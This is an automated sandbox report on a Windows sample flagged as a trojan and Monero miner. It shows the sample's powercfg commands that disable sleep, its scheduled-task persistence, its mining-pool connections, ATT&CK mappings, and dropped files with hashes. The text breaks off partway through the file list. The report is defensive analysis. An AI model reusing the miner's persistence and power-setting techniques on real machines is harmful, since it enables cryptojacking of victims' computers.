Modifies power options to not sleep / hibernate

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\powercfg.exe powercfg /x -hibernate-timeout-ac 0
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\powercfg.exe powercfg /x -standby-timeout-ac 0
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\powercfg.exe powercfg /x -hibernate-timeout-ac 0
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\powercfg.exe powercfg /x -standby-timeout-ac 0
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\powercfg.exe powercfg /x -hibernate-timeout-ac 0	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\powercfg.exe powercfg /x -standby-timeout-ac 0	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\powercfg.exe powercfg /x -hibernate-timeout-ac 0	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\powercfg.exe powercfg /x -standby-timeout-ac 0	Jump to behavior

Source: conhost.exe, 00000022.00000002.2615840139.000002B9B4441000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: procexp.exe

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	11 Windows Management Instrumentation	1 Windows Service	1 Windows Service	22 Masquerading	OS Credential Dumping	221 Security Software Discovery	Remote Services	1 Archive Collected Data	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Command and Scripting Interpreter	1 Scheduled Task/Job	311 Process Injection	1 Disable or Modify Tools	LSASS Memory	1 Process Discovery	Remote Desktop Protocol	Data from Removable Media	1 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Scheduled Task/Job	11 DLL Side-Loading	1 Scheduled Task/Job	41 Virtualization/Sandbox Evasion	Security Account Manager	41 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	1 PowerShell	Login Hook	1 Abuse Elevation Control Mechanism	311 Process Injection	NTDS	1 Application Window Discovery	Distributed Component Object Model	Input Capture	1 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	11 DLL Side-Loading	1 Abuse Elevation Control Mechanism	LSA Secrets	12 System Information Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	21 Obfuscated Files or Information	Cached Domain Credentials	Wi-Fi Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Software Packing	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	11 DLL Side-Loading	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	1 File Deletion	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label
ahlntQUj2t.exe	50%	ReversingLabs	Win64.Trojan.Generic
ahlntQUj2t.exe	100%	Avira	TR/Crypt.EPACK.Gen2
ahlntQUj2t.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Windows\Temp\tkfgvduf.tmp	100%	Avira	HEUR/AGEN.1313087
C:\Program Files\xjfgcnhmcvxy.exe	100%	Avira	TR/Crypt.EPACK.Gen2
C:\Windows\Temp\tkfgvduf.tmp	100%	Joe Sandbox ML
C:\Program Files\xjfgcnhmcvxy.exe	100%	Joe Sandbox ML
C:\Program Files\Google\Libs\WR64.sys	5%	ReversingLabs
C:\Program Files\xjfgcnhmcvxy.exe	50%	ReversingLabs	Win64.Trojan.Generic
C:\Windows\Temp\tkfgvduf.tmp	62%	ReversingLabs	Win64.Trojan.Miner

Unpacked PE Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

Source	Detection	Scanner	Label	Link
http://crl.cloudflare.com/origin_ca.crlXd	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
s-part-0017.t-0009.t-msedge.net	13.107.246.45	true	false	high
xmr-eu1.nanopool.org	54.37.232.103	true	true	unknown
time.windows.com	unknown	unknown	true	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://nuget.org/NuGet.exe	powershell.exe, 00000007.00000002.1442724674.0000026CF7DA6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.1565918785.000001EF3B1FF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.1468881092.000001EF2CB64000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.1565918785.000001EF3B336000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000015.00000002.1669199935.0000027098B64000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.apache.org/licenses/LICENSE-2.0	powershell.exe, 0000000D.00000002.1468881092.000001EF2C78E000.00000004.00000800.00020000.00000000.sdmp	false		high
https://aka.ms/winsvr-2022-pshelp	powershell.exe, 00000015.00000002.1542046596.0000027088D18000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000015.00000002.1542046596.000002708A9A5000.00000004.00000800.00020000.00000000.sdmp	false		high
http://pesterbdd.com/images/Pester.png	powershell.exe, 00000015.00000002.1542046596.0000027088D18000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/soap/encoding/	powershell.exe, 00000007.00000002.1423008816.0000026CE7F58000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000015.00000002.1542046596.0000027088D18000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 00000015.00000002.1542046596.0000027088D18000.00000004.00000800.00020000.00000000.sdmp	false		high
https://go.micro	powershell.exe, 0000000D.00000002.1468881092.000001EF2C2F9000.00000004.00000800.00020000.00000000.sdmp	false		high
http://ocsp.cloudflare.com/origin_ca0	conhost.exe, 00000022.00000002.2615840139.000002B9B4441000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 00000022.00000002.2616177696.000002B9B49D0000.00000004.00000020.00020000.00000000.sdmp	false		high
http://crl.cloudflare.com/origin_ca.crlXd	conhost.exe, 00000022.00000002.2616177696.000002B9B49D0000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/wsdl/	powershell.exe, 00000007.00000002.1423008816.0000026CE7F58000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000015.00000002.1542046596.0000027088D18000.00000004.00000800.00020000.00000000.sdmp	false		high
https://contoso.com/	powershell.exe, 00000015.00000002.1669199935.0000027098B64000.00000004.00000800.00020000.00000000.sdmp	false		high
https://nuget.org/nuget.exe	powershell.exe, 00000007.00000002.1442724674.0000026CF7DA6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.1565918785.000001EF3B1FF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.1468881092.000001EF2CB64000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.1565918785.000001EF3B336000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000015.00000002.1669199935.0000027098B64000.00000004.00000800.00020000.00000000.sdmp	false		high
https://contoso.com/License	powershell.exe, 00000015.00000002.1669199935.0000027098B64000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.cloudflare.com/origin_ca.crl	conhost.exe, 00000022.00000002.2616177696.000002B9B49D0000.00000004.00000020.00020000.00000000.sdmp	false		high
https://contoso.com/Icon	powershell.exe, 00000015.00000002.1669199935.0000027098B64000.00000004.00000800.00020000.00000000.sdmp	false		high
https://oneget.orgX	powershell.exe, 0000000D.00000002.1468881092.000001EF2C78E000.00000004.00000800.00020000.00000000.sdmp	false		high
https://aka.ms/winsvr-2022-pshelpX	powershell.exe, 00000007.00000002.1423008816.0000026CE9BD8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.1423008816.0000026CE9BFF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000015.00000002.1542046596.000002708A97F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000015.00000002.1542046596.000002708A9A5000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.cloudflare.com/origin_ca.crl0	conhost.exe, 00000022.00000002.2615840139.000002B9B4441000.00000004.00000020.00020000.00000000.sdmp	false		high
http://ocsp.cloudflare.com/origin_ca	conhost.exe, 00000022.00000002.2615840139.000002B9B4441000.00000004.00000020.00020000.00000000.sdmp	false		high
https://aka.ms/pscore68	powershell.exe, 00000007.00000002.1423008816.0000026CE7D31000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.1468881092.000001EF2B181000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000015.00000002.1542046596.0000027088B05000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 00000007.00000002.1423008816.0000026CE7D31000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.1468881092.000001EF2B181000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000015.00000002.1542046596.0000027088B05000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/Pester/Pester	powershell.exe, 00000015.00000002.1542046596.0000027088D18000.00000004.00000800.00020000.00000000.sdmp	false		high
https://oneget.org	powershell.exe, 0000000D.00000002.1468881092.000001EF2C78E000.00000004.00000800.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
54.37.232.103	xmr-eu1.nanopool.org	France		16276	OVHFR	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1548723
Start date and time:	2024-11-04 19:38:09 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 6m 53s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	38
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	ahlntQUj2t.exe renamed because original name is a hash value
Original Sample Name:	75a1567b2fdb22e1e074aed9cd5e759013ea59bf7b1ef8d7f32c524f32b680c9.exe
Detection:	MAL
Classification:	mal100.spyw.evad.mine.winEXE@53/24@2/1
EGA Information:	Successful, ratio: 60%
HCA Information:	Successful, ratio: 86% Number of executed functions: 40 Number of non-executed functions: 71
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, WmiPrvSE.exe
Excluded IPs from analysis (whitelisted): 20.101.57.9
Excluded domains from analysis (whitelisted): slscr.update.microsoft.com, otelrules.azureedge.net, twc.trafficmanager.net, otelrules.afd.azureedge.net, ctldl.windowsupdate.com, azureedge-t-prod.trafficmanager.net, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target powershell.exe, PID 7264 because it is empty
Execution Graph export aborted for target powershell.exe, PID 7988 because it is empty
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtCreateKey calls found.
VT rate limit hit for: ahlntQUj2t.exe

Simulations

Behavior and APIs

Time	Type	Description
13:39:17	API Interceptor	83x Sleep call for process: powershell.exe modified
13:39:51	API Interceptor	43806x Sleep call for process: conhost.exe modified
13:39:51	API Interceptor	1x Sleep call for process: WMIC.exe modified
19:39:23	Task Scheduler	Run new task: GQFENPEL path: C:\Program Files\xjfgcnhmcvxy.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
54.37.232.103	file.exe	Get hash	malicious	Xmrig	Browse
	12Jh49DCAj.exe	Get hash	malicious	Xmrig	Browse
	file.exe	Get hash	malicious	Xmrig	Browse
	Chrome.exe	Get hash	malicious	Xmrig	Browse
	SecuriteInfo.com.Win64.Evo-gen.9790.15318.exe	Get hash	malicious	Xmrig	Browse
	setup.exe	Get hash	malicious	Xmrig	Browse
	SecuriteInfo.com.Win64.TrojanX-gen.22735.27744.exe	Get hash	malicious	Xmrig	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
xmr-eu1.nanopool.org	file.exe	Get hash	malicious	Xmrig	Browse	163.172.154.142
	HmA7s2gaa5.exe	Get hash	malicious	Xmrig	Browse	162.19.224.121
	12Jh49DCAj.exe	Get hash	malicious	Xmrig	Browse	51.15.65.182
	Ky4J8k89A7.exe	Get hash	malicious	Stealc, Vidar, Xmrig	Browse	51.15.58.224
	boooba.exe	Get hash	malicious	Xmrig	Browse	51.15.58.224
	2HUgVjrn3O.exe	Get hash	malicious	Xmrig	Browse	51.15.58.224
	SecuriteInfo.com.Trojan.Siggen29.54948.7115.19193.exe	Get hash	malicious	Xmrig	Browse	141.94.23.83
	Yf4yviDxwF.exe	Get hash	malicious	Xmrig	Browse	54.37.232.103
	file.exe	Get hash	malicious	Xmrig	Browse	54.37.137.114
	Q3Vq6yp33F.exe	Get hash	malicious	Xmrig	Browse	51.15.65.182
s-part-0017.t-0009.t-msedge.net	fast_copy.exe	Get hash	malicious	Stealc	Browse	13.107.246.45
	_Retail_Benefits_and_Commission_2024.svg	Get hash	malicious	Unknown	Browse	13.107.246.45
	https://wordtohtml.net/user_files/244701_d6db22759e351980/414618_dailyfeedback.html	Get hash	malicious	HtmlDropper, HTMLPhisher	Browse	13.107.246.45
	https://wordtohtml.net/user_files/244701_d6db22759e351980/414618_dailyfeedback.html	Get hash	malicious	HtmlDropper, HTMLPhisher	Browse	13.107.246.45
	https://ecommpg.klikbca.com/BCAPGW/Payment/Link?plid=1096J	Get hash	malicious	Unknown	Browse	13.107.246.45
	https://virtual.urban-orthodontics.com	Get hash	malicious	Unknown	Browse	13.107.246.45
	https://reictert.world/	Get hash	malicious	HTMLPhisher	Browse	13.107.246.45
	https://payment-process.com/?u=76846-accc8c612b0407eda85ec03dda9ebb278d6584944964622cbd551e9422a2a8c6	Get hash	malicious	Unknown	Browse	13.107.246.45
	REG _ CARBOLINE STATEMENT OCTOBER - 2024 (2).eml	Get hash	malicious	Unknown	Browse	13.107.246.45
	https://www.google.co.nz/url?q=k8pQvvqad5fe5yj7Y00xDjnlx9kIHvsdvds44vs4d4aAkImPuQvsdv44WtJjqJLi6stjtDz3yh&rct=tTPSrMOiaAkImPuQJnOIWtJjqJLi6stjtFX08pQvvq6xRvdsvsdvswqyicT&sa=t&url=amp%2F%37%38%32%6A%6E%73%6A%73%6A%73%38%6D%64%6E%6E%73%6A%69%32%32%33%32%32%30%68%73%64%6E%68%64%6A%73%6A%73%6D%6D%6D%73%6A%73%6D%6E%64%64%2E%66%69%6E%64%6C%6E%67%73%69%6E%63%2E%63%6F%6D%2F	Get hash	malicious	Unknown	Browse	13.107.246.45

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
OVHFR	https://t.co/WUjzOGRMNx	Get hash	malicious	Unknown	Browse	51.38.120.206
	RnOAeiRWds.exe	Get hash	malicious	AsyncRAT	Browse	51.222.21.24
	Fattura88674084.vbs	Get hash	malicious	Unknown	Browse	51.91.79.17
	file.exe	Get hash	malicious	Xmrig	Browse	51.195.43.17
	sora.m68k.elf	Get hash	malicious	Mirai	Browse	54.39.196.186
	g49e742700.exe	Get hash	malicious	Emotet	Browse	178.33.167.120
	Payload 94.75 (3).225.exe	Get hash	malicious	Unknown	Browse	94.23.172.32
	Payload 94.75 (2).225.exe	Get hash	malicious	Unknown	Browse	139.99.170.35
	Payload 94.75 (4).225.exe	Get hash	malicious	Kronos, Strela Stealer	Browse	158.69.205.247
	Payload 94.75 (3).225.exe	Get hash	malicious	Unknown	Browse	54.36.209.254

JA3 Fingerprints

⊘No context

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Program Files\Google\Libs\WR64.sys	file.exe	Get hash	malicious	Xmrig	Browse
	ICBM.exe	Get hash	malicious	Xmrig	Browse
	ICBM.exe	Get hash	malicious	Xmrig	Browse
	ICBM.exe	Get hash	malicious	Xmrig	Browse
	ICBM.exe	Get hash	malicious	Xmrig	Browse
	HmA7s2gaa5.exe	Get hash	malicious	Xmrig	Browse
	SaxP2rle4l.exe	Get hash	malicious	Xmrig	Browse
	6YbG0llASL.exe	Get hash	malicious	Xmrig	Browse
	2Y2u9r3RUs.exe	Get hash	malicious	Xmrig	Browse
	xeqHTJ1ihs.exe	Get hash	malicious	Xmrig	Browse

Created / dropped Files

C:\Program Files\Google\Libs\WR64.sys

Download File

Process:	C:\Program Files\xjfgcnhmcvxy.exe
File Type:	PE32+ executable (native) x86-64, for MS Windows
Category:	dropped
Size (bytes):	14544
Entropy (8bit):	6.2660301556221185
Encrypted:	false
SSDEEP:	192:nqjKhp+GQvzj3i+5T9oGYJh1wAoxhSF6OOoe068jSJUbueq1H2PIP0:qjKL+v/y+5TWGYOf2OJ06dUb+pQ
MD5:	0C0195C48B6B8582FA6F6373032118DA
SHA1:	D25340AE8E92A6D29F599FEF426A2BC1B5217299
SHA-256:	11BD2C9F9E2397C9A16E0990E4ED2CF0679498FE0FD418A3DFDAC60B5C160EE5
SHA-512:	AB28E99659F219FEC553155A0810DE90F0C5B07DC9B66BDA86D7686499FB0EC5FDDEB7CD7A3C5B77DCCB5E865F2715C2D81F4D40DF4431C92AC7860C7E01720D
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 5%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: ICBM.exe, Detection: malicious, Browse Filename: ICBM.exe, Detection: malicious, Browse Filename: ICBM.exe, Detection: malicious, Browse Filename: ICBM.exe, Detection: malicious, Browse Filename: HmA7s2gaa5.exe, Detection: malicious, Browse Filename: SaxP2rle4l.exe, Detection: malicious, Browse Filename: 6YbG0llASL.exe, Detection: malicious, Browse Filename: 2Y2u9r3RUs.exe, Detection: malicious, Browse Filename: xeqHTJ1ihs.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......5:n.q[..q[..q[..q[..}[..V.{.t[..V.}.p[..V.m.r[..V.q.p[..V.\|.p[..V.x.p[..Richq[..................PE..d....&.H.........."..................P.......................................p..............................................................dP..<....`.......@..`...................p ............................................... ..p............................text............................... ..h.rdata..\|.... ......................@..H.data........0......................@....pdata..`....@......................@..HINIT...."....P...................... ....rsrc........`......................@..B................................................................................................................................................................................................................................................................................

C:\Program Files\Google\Libs\g.log

Download File

Process:	C:\Windows\System32\cmd.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	114
Entropy (8bit):	2.9406513824097402
Encrypted:	false
SSDEEP:	3:QrjaPUFvEMlWlK3Fflov5NlJLlT4DzltAn:Q/aevEMlWlKovp1ls9un
MD5:	A339F4ACCAD69128A4CCBBE88504F7E3
SHA1:	ABB3A54A1BD37D20D74ECC5D46294A071393BC45
SHA-256:	FAF5D6C4C6BFBCE741A08E85CE79CF09BA99056549886DEDE5CA5A56E34C0019
SHA-512:	60AE5F7B86ED7044DF906E589C2AD2ABDB95E8C3089BC4102878E19C0BEF4CC7C1889B79C6F8147C3E2EBFBFB0721EEC1B760C82CE72A33D2BBDDEDEAF81F807
Malicious:	false
Preview:	..N.a.m.e. . . . . . .V.i.d.e.o.P.r.o.c.e.s.s.o.r. . .....1.Y.L.2.1.G.O.1. . .O.K.M.4.V. . . . . . . . . . . .....

C:\Program Files\xjfgcnhmcvxy.exe

Download File

Process:	C:\Users\user\Desktop\ahlntQUj2t.exe
File Type:	PE32+ executable (GUI) x86-64 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	2137088
Entropy (8bit):	7.959331419868799
Encrypted:	false
SSDEEP:	49152:Z3LiNvWKaxZxeaOaUS15emjARtJGXVhwqbPcIt:ZbidWxeLEyyyGFhwqIY
MD5:	934E9A3E294FA41C527FBD6DC867DDEC
SHA1:	57EDAB4C313A7B3BF083A0C3364195B0491E00BA
SHA-256:	75A1567B2FDB22E1E074AED9CD5E759013EA59BF7B1EF8D7F32C524F32B680C9
SHA-512:	3CF0955F0C17EDB9F2DAB98700F1A3D3D98E4A96DA7A967EEFC6D6151E37AD160BF6CF5549B6000EC3EA588B84E828C122005B8E3857E0297A763069746AF4CC
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 50%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d...s.)g...............&...... ................@..............................!....... ...`... ............................................... ....... ....... ...............!............................... .(...................D. ..............................text...............................`..`.data...............................@....rdata........ ......h .............@..@.pdata........ ......x .............@..@.xdata........ ....... .............@..@.bss....8..... ..........................idata........ ....... .............@....CRT....h..... ....... .............@....tls.......... ....... .............@....rsrc......... ....... .............@....reloc........!....... .............@..B........................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	modified
Size (bytes):	64
Entropy (8bit):	0.34726597513537405
Encrypted:	false
SSDEEP:	3:Nlll:Nll
MD5:	446DD1CF97EABA21CF14D03AEBC79F27
SHA1:	36E4CC7367E0C7B40F4A8ACE272941EA46373799
SHA-256:	A7DE5177C68A64BD48B36D49E2853799F4EBCFA8E4761F7CC472F333DC5F65CF
SHA-512:	A6D754709F30B122112AE30E5AB22486393C5021D33DA4D1304C061863D2E1E79E8AEB029CAE61261BB77D0E7BECD53A7B0106D6EA4368B4C302464E3D941CF7
Malicious:	false
Preview:	@...e...........................................................

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_0pw3vep3.fod.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_1kci3k44.i32.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_324vmt0d.q1r.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_4r541zkl.hbu.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_5ka1dbfr.4ul.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_kdikchqo.reh.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_r4zvvcx0.jec.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_tx15xpdx.5ri.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
